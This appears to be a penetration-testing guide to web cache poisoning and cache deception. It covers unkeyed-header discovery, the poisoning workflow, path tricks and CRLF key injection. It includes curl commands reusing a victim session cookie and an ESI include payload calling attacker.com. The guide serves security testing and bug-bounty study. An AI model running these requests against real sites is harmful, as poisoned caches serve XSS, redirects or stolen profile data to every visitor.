Web Cache Poisoning

Sections Web Cache Poisoning

The cache stores attacker-controlled content under a victim-accessible URL. One request poisons the cache, all subsequent visitors get the malicious response.

T=https://target.com

i. Where it lives

Anywhere there’s a cache between users and the origin:

  • CDNs (Cloudflare, Akamai, Fastly, CloudFront, Edgecast)
  • Reverse proxies with caching (Varnish, nginx with proxy_cache, HAProxy)
  • Application-layer cache (Redis-backed page cache, full-page application caches)
  • ESI (Edge Side Includes) processors

Detect a cache:

  • X-Cache: HIT / X-Cache: MISS headers
  • CF-Cache-Status: HIT|MISS|EXPIRED|REVALIDATED (Cloudflare)
  • Age: <seconds> header
  • Cache-Control: public, max-age=...
  • Static asset response times suspiciously fast on repeat (cached)

ii. The fundamental concept

The cache stores responses by cache key - usually method + host + path + query. Inputs that aren’t part of the cache key but DO affect the response are unkeyed inputs. These are the bug class:

  1. Send a request with attacker-controlled unkeyed input
  2. The cache stores the malicious response under the normal cache key
  3. Victims hit that URL, get the cached attacker response

Cache poisoning ≠ cache deception:

  • Cache poisoning: trick cache into storing malicious content under a normal URL
  • Cache deception: trick cache into storing sensitive content under an attacker-accessible URL (path confusion, see section vii)

iii. Tools

Param Miner (Burp extension)

The single most important tool. Discovers unkeyed inputs automatically.

Burp -> Extensions -> BApp Store -> Param Miner -> install
## Then right-click a request:
## Param Miner -> Guess headers
## Param Miner -> Guess params
## Param Miner -> Guess cookies

Param Miner sends modified versions of the request with a unique cache-buster (random ?cb= param) and compares responses. Differences flag unkeyed inputs that affect the response.

Burp’s cache poisoning Pro scanner

Active audit detects basic cache poisoning automatically. Less comprehensive than Param Miner manual flow.

nuclei templates

nuclei -u "$T" -tags cache,cache-poisoning

Catches common patterns like X-Forwarded-Host poisoning.

iv. Manual unkeyed input discovery

Send the same request twice with different values of a candidate header, see if the response changes:

## Baseline:
curl -sI "$T/?cb=$(date +%s%N)" -H "X-Forwarded-Host: target.com" | head -10
## Modified:
curl -sI "$T/?cb=$(date +%s%N)" -H "X-Forwarded-Host: attacker.com" | head -10

If the body / headers differ but only the second has attacker.com reflected → that header is unkeyed and reflected.

Common unkeyed inputs to test:

  • X-Forwarded-Host
  • X-Host
  • X-Forwarded-Server
  • X-HTTP-Host-Override
  • X-Original-URL
  • X-Rewrite-URL
  • X-Forwarded-Scheme
  • X-Forwarded-Proto
  • X-Original-Forwarded-For
  • X-WAP-Profile
  • Via
  • User-Agent (sometimes affects response, rarely unkeyed)
  • Custom cookies / Cookie: header subsets

Param Miner’s singles wordlist covers 1000+ candidates.

v. The poisoning workflow

  1. Discover unkeyed input that’s reflected in the response somewhere harmful (URL injected into a link, hostname used in a redirect, value reflected unsafely in HTML).

  2. Confirm cache key boundaries:

    • What’s in the cache key? (path, query string, sometimes vary headers)
    • What’s NOT in the cache key but affects response? → poison candidate
  3. Craft the malicious response:

    • Inject XSS via header reflection
    • Inject malicious URL into linked resources
    • Inject open redirect destinations
  4. Poison the cache:

    • Send the malicious request, wait for X-Cache: MISS then HIT
    • Verify a clean client gets the poisoned response
  5. Validate from a different IP / browser to confirm it’s not a local effect.

vi. Detect cache key bypasses

Sometimes the cache key normalizes the path (case-insensitive, trailing slashes), so attacker requests /x and /X may share the same cache key. Test with cache-buster variations:

## Same cache key check:
curl -sI "$T/?cb=1" -H "X-Foo: a" ; curl -sI "$T/?cb=1" -H "X-Foo: b"
## Check if X-Cache: HIT on the second

The path itself is sometimes processed (URL decoding, normalization) before becoming the cache key. Path tricks:

  • /admin vs /admin/ vs /admin//
  • /admin vs /Admin (case sensitivity)
  • /foo/../admin (path normalization)
  • /admin;param=x (path parameter)
  • /admin%20 vs /admin (encoded space)

vii. Web Cache Deception

Cache caches /user/api/me.css because of .css extension matching cache rules. But the back-end ignores the .css and returns /user/api/me (the JSON profile data). Attacker tricks victim into requesting /user/api/me.css, then attacker fetches the same URL and gets the cached victim’s profile data.

Test cache deception:

## Login as victim, request:
curl "$T/api/me/anything.css" -H "Cookie: session=victim_session"
## Then unauthenticated:
curl "$T/api/me/anything.css"
## If second response has victim's data → cache deception confirmed

The trick is finding a static-extension suffix the cache will store and the back-end will ignore. Try .css, .js, .png, .gif, .jpg, .ico, .svg, then path-variant tricks (/x.css, /x/anything.css).

viii. Cache key injection

When the cache uses headers in its cache key (some configs add Cookie, Origin, User-Agent), you can inject characters into those headers that confuse the cache key calculator:

User-Agent: \r\n
Origin: https://target.com\r\n

Server-side cache stores under one key, attacker recreates request to read it.

ix. Tricks worth knowing

Cache buster everywhere

While testing, always append a random query param so you don’t accidentally poison the real cache. ?cb=$(date +%s%N) is the standard.

Time-based reveal

After a poison, wait for the Age header to increment. A successful poison shows the same Age across requests. Different ages = different cache entries or different cache servers.

Multiple cache layers

CDN cache + nginx cache + application cache can all be present. Each has different key calculation. Poisoning each independently sometimes works.

Vary header understanding

Vary: User-Agent means the cache stores separate entries per User-Agent value. Lots of unkeyed-input bugs are actually unkeyed-but-vary-counted. Read Vary: carefully.

Most CDNs don’t include cookies in cache keys (because cookies vary per user). This is also why poisoning often affects ALL users.

Combine with smuggling

WEB10 Request Smuggling can change the request the back-end thinks the cache stored. CDN sees one URL, back-end processes another, cache stores under the CDN’s URL → smuggling-amplified cache poisoning is a top-tier real engagement bug.

Cache-control bypass: ESI injection

Edge Side Includes process server-side tags like <esi:include src="..."/> at the edge cache before serving. When user input is echoed into a page that’s processed by ESI, attacker can inject ESI tags that fetch arbitrary URLs and embed them.

<esi:include src="http://attacker.com/" />

Akamai supports ESI by default in some configurations. Cloudflare has Workers with similar power.

x. Real examples to study

  • Spotify cache poisoning (2017, Mathias Karlsson) - User-Agent reflection
  • Various Cloudflare/Akamai bug reports on HackerOne
  • Web Cache Vulnerability Scanner CTF-style challenges

PortSwigger’s labs have hands-on for every common variant.

xi. References

xii. Where it leads

  • Stored XSS effect on every visitor (without actually storing on the origin)
  • Redirect every user to attacker (open redirect amplified by cache)
  • Cred theft via cache deception (sensitive endpoint cached under attacker-accessible URL)
  • Denial of service (cache fills with errors, real responses evicted)
  • Persistent defacement during cache TTL

Cache poisoning is one of the highest-impact web bugs when it works - affects every user who hits the URL during the TTL window.